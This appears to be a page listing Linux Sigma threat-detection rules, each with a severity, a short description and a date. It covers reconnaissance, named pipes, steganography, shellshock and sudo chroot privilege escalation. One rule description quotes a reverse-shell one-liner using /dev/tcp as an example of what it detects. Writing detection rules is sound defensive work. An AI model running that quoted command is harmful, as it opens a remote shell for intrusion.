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210 rules
Program Executions in Suspicious Folders (via auditd)
mediumThis rule detects program executions in anomalous non-program folders related to malware or hacking behavior
sigmaLinux2026-02-23Possible Screen Capture with Xwd (via auditd)
lowThis rule detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high use of screenshot utilities on user workstations
sigmaLinux2026-02-23Possible Linux Recon Indicators (via process_creation)
highThis rule detects events with patterns found in commands used for reconnaissance on linux systems
sigmaLinuxPaid2026-02-22Suspicious Mount Execution With Hidepid Parameter (via process_creation)
mediumThis rule detects execution of the "mount" command with "hidepid" parameter to make invisible processes to other users from the system
sigmaLinux2026-02-20Potentially Suspicious Named Pipe Created Through Mkfifo (via process_creation)
mediumThis rule detects the creation of a new named pipe using the "mkfifo" utility in a potentially anomalous location
sigmaLinux2026-02-18Suspicious VSFTPD Error Messages (via vsftpd)
mediumThis rule detects anomalous VSFTPD error messages that indicate a fatal or anomalous error that could be caused by exploiting attempts
sigmaLinux2026-02-17Possible Named Pipe Created Through Mkfifo (via process_creation)
lowThis rule detects the creation of a new named pipe using the "mkfifo" utility
sigmaLinux2026-02-16Suspicious Invocation of Shell through Rsync (via process_creation)
highThis rule detects the execution of a shell as sub process of "rsync" without the expected command line flag "-e" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is frequently linked with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.
sigmaLinuxPaid2026-02-15Possible Steganography Extract Files with Steghide (via auditd)
lowThis rule detects extraction of files with use of steghide binary, the threat actors may use this method to prevent the detection of hidden information.
sigmaLinux2026-02-15Suspicious Shell Execution Of Process Located In Tmp Directory (via process_creation)
highThis rule detects execution of shells from a parent process located in a temporary (/tmp) directory
sigmaLinuxPaid2026-02-14Suspicious Enable BPF Kprobes Tracing (via process_creation)
mediumThis rule detects common command used to enable bpf kprobes tracing
sigmaLinux2026-02-13Suspicious Linux Reverse Shell Indicator (via network_connection)
criticalThis rule detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
sigmaLinuxPaid2026-02-13Suspicious Capsh Shell Invocation - Linux (via process_creation)
highThis rule detects the use of the "capsh" utility to invoke a shell.
sigmaLinuxPaid2026-02-11Possible System Owner or User Enumeration - Linux (via auditd)
lowThis rule detects the execution of host or user discovery utilities such as "whoami", "hostname", "id", etc. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
sigmaLinux2026-02-11Possible ESXi VM List Enumeration Through ESXCLI (via process_creation)
mediumThis rule detects execution of the "esxcli" command with the "vm" flag to retrieve information about the installed VMs.
sigmaLinux2026-02-06Possible Steganography Hide Zip Information in Picture File (via auditd)
lowThis rule detects appending of zip file to image
sigmaLinux2026-02-06Suspicious JexBoss Command Sequence (via linux)
highThis rule detects anomalous command sequence that JexBoss
sigmaLinuxPaid2026-02-05Possible Execution of Linux Doas Utility (via process_creation)
lowThis rule detects the doas tool execution in linux host platform. This utility tool enable standard users to perform tasks as root, the same way sudo does.
sigmaLinux2026-02-04Possible Execution of Linux Sudo Chroot (via process_creation)
lowThis rule detects the execution of 'sudo' command with '--chroot' option, which is leveraged to change the root directory for command execution. Attackers may use this method to evade detection and execute commands in a modified environment. This can be part of a privilege escalation strategy, as it enables the execution of commands with elevated privileges in a controlled environment as seen in CVE-2025-32463. While investigating, look out for unusual or unexpected use of 'sudo --chroot' in conjunction with other commands or scripts such as execution from temporary directories or unusual user accounts.
sigmaLinux2026-02-04Suspicious Shellshock Expression (via linux)
highThis rule detects shellshock expressions in log files
sigmaLinuxPaid2026-02-03